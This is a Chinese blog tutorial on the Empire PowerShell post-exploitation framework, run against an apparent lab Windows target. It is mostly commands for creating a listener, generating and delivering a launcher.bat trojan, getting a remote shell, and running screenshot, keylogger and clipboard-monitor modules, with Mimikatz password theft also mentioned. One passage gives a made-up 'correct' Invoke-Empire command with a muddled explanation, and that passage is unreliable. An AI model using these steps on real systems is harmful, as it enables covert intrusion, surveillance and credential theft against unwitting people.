Empire4信息搜集

Empire

Empire4是一个强大的PowerShell后期利用框架，用于生成、管理和执行恶意代吗。以下是关于Empire4的安装、使用、进阶使用、生成木马、控制主机和信息搜集的基本步骤：

安装Empire4：

• 首先，确保您的计算机上已经安装了Python 3.6或更高版本。
• 克隆Empire4的GitHub仓库：git clone https://github.com/BC-SECURITY/Empire.git
• 进入Empire4目录：cd Empire
• 安装依赖：pip install -r requirements.txt
• 启动Empire4：python empire

sudo apt install powershell-empire

使用Empire4：

• 打开浏览器，访问http://localhost:1337（默认端口为1337）
• 登录Empire4，默认用户名为empireadmin，密码为password
• 在Empire4界面中，您可以创建新的监听器、模块、代理等，以执行各种任务。

安装docker

apt install docker docker-compose

docker search empireproject/empire

docker search empireproject/empire 是一个Docker命令，用于在Docker Hub上搜索名为 empireproject/empire 的Docker镜像。Docker Hub是一个公共的Docker容器镜像注册表，开发者和用户可以在这里找到并共享各种Docker镜像。

具体来说，这个命令的各个部分含义如下：

• docker: 这是调用Docker客户端的命令。
• search: Docker的一个子命令，用于在Docker Hub或其他配置的Docker镜像仓库中搜索镜像。
• empireproject/empire: 这是你要搜索的镜像名称。empireproject 是组织或用户的名称，而 empire 是具体的镜像名称。

当你运行这个命令时，Docker客户端会连接到Docker Hub，并返回所有包含 empireproject/empire 这个名称的镜像列表。每个结果通常会显示镜像的名称、描述、星级评分、是否官方镜像、是否自动化构建等信息。

例如，如果你运行了这个命令，可能会得到类似以下的输出：

登录后复制

NAME                          DESCRIPTION                                     STARS               OFFICIAL            AUTOMATED 
empireproject/empire          Empire is a post-exploitation ...                56                                      [OK]

• 1.
• 2.

这里的 56 表示有56个用户收藏了这个镜像。[OK] 表示这个镜像是通过自动化构建过程创建的。

sudo powershell-empire client

这个命令看起来像是在尝试使用PowerShell Empire的客户端功能，但是在格式上有一些问题。PowerShell Empire是一个后渗投工具，它允许用户创建和管理PowerShell的代理，以便进行远程命令执行和数据收集。

正确的命令格式应该是这样的：

登录后复制

sudo powershell -ep bypass -c "& {Import-Module /path/to/empire/client/powerview.ps1; Invoke-Empire -Url http://your-empire-server:port -UserName your-username -Password your-password}"

• 1.

这里的关键部分解释如下：

• sudo: 在Linux系统中，sudo 是一个命令，允许普通用户以超级用户（root）的身份执行命令。在Windows系统中，通常不需要使用sudo，除非你在运行一个模拟Linux环境的工具，如Windows Subsystem for Linux (WSL)。
• powershell: 这是启动PowerShell的命令。
• -ep bypass: 这是一个PowerShell参数，用于绕过执行策略，允许加载未签名的脚本。
• -c: 这也是一个PowerShell参数，用于指定要执行的命令。
• & {Import-Module ...}: 这部分是实际的PowerShell代码，它导入Empire客户端模块并执行Empire命令。
• /path/to/empire/client/powerview.ps1: 这是Empire客户端模块的路径。
• Invoke-Empire: 这是Empire客户端的一个函数，用于与Empire服务器通信。
• -Url http://your-empire-server:port: 指定Empire服务器的URL和端口。
• -UserName your-username -Password your-password: 提供登录Empire服务器的用户名和密码。

输入help

就可以看到这个工具的能力

输入useli就会弹出完整句子，按上下键就可以了，然后会弹出下面这个协议，如果么有弹出按两下tab

 uselistener http

set Name lonelyor

set Host 192.168.231.130

set Port 1234

execute

listeners

back 是返回到意思

execute 返回监听已开启

下面是监听模块的内容

重要点就是help和back

接着设置密码 

usestager multi/launcher_bat

进入模块

设置监听对象

set Listener linelyor

输出文件的保存目录(老版)

set OutFile /tmp/launcher.bat

新版输出文件

cd /var/lib/powershell-empire/empire/client/generated-stagers

就可以看到生成的木马

看看设置有没有完成

options

就可以看到设置的内容

进阶使用：

• 学习Empire4的各种模块，如Screenshot、Keylogger、Mimikatz等，以便更好地利用这些工具进行公鸡。
• 了解如何配置代理服务器，以便在目标网络内部隐藏公鸡者的真实IP地址。
• 学习如何使用Empire4与其他工具集成，如Cobalt Strike、Metasploit等。

生成木吗：

• 在Empire4界面中，选择“listeners”选项卡，然后点击“create new listener”。
• 选择一个合适的监听器类型（如HTTP、SMB等），并设置相关参数。
• 保存并启动监听器。
• 在目标计算机上运行生成的木马程序，它将连接到Empire4服务器并接受命令。

找一下生成的木吗

find / -name launcher.bat

执行命令

execute

木吗就生成在这个路径里了/var/lib/powershell-empire/empire/client/generated-stagers/launcher.bat

下面就要把这个木吗放到win上运行

开一个web页面

python -m http.server 9999

控制主机：

• 一旦目标计算机上的木马程序成功连接，您就可以在Empire4界面中看到它。
• 选择该代理，然后选择要执行的模块，如Screenshot、Keylogger等。
• 执行模块后，您将在Empire4界面中看到结果。

下载成功了

然后运行一下文件，双击文件

回到kali中

就可以看到一段话，stage这个说明靶机上线了

使用以下命令就可以看到已经拿下了靶机，这里有的带*号的就表示提权成功，不带*号表示需要继续提权

agebts

输入以下命令加随机字符，随机字符是在id右边这个name上面的

interact 1BRV7X58

输入shell，就进入了终端的shell了

输入pwd就会返回当前路径也是我们执行这个命令的环境变量

在输入ls

就回显当前文件目录下的文件名

如果需要执行cmd命令

就需要输入

shell ipconfig

回显的就是win的cmd命令的回显了

信息搜集：

• 使用Empire4的信息搜集模块，如Screenshot、Screenshot2、Netview等，收集目标计算机的屏幕截图、网络视图等信息。
• 使用Mimikatz模块提取目标计算机上的密码、哈希、PIN码等敏感信息。
• 使用Invoke-MimiGato模块进一步分析和破接提取到的密码。

usemodule python/collection/osx/search_email  #通过上下键就可以看到许多的内容

屏幕截取

usemodule powershell/collection/screenshot

设置Agent 

然后执行

execute

回到服务端

可以看到回显信息

截图截到了

Get-Screenshot/  #这个目录下

名字叫LONELYOR-WIN10 2022-06-11 18-35-19.png

键盘记录

usemodile powershell/collection/keylogger

设置Agent

set Agent 1BRV7X58

执行

execute

回显告诉我们task为18

推出终端

exit

运行view命令

view 18

在靶机里打开百度搜索你好然后删除打了ahaahaa

所以我们运行view 18

就看到了回显刚刚的操作

usemodule powershell/collection/clipboard_monitor

键盘记录

看到运行在了19上

运行一下view 19

复制一个abcd

view 19

可以看到

靶机在复制一段别的

kali继续输入

view 19

原创作者: zhuzhuxia 转载于: https://blog.51cto.com/zhuzhuxia/11637927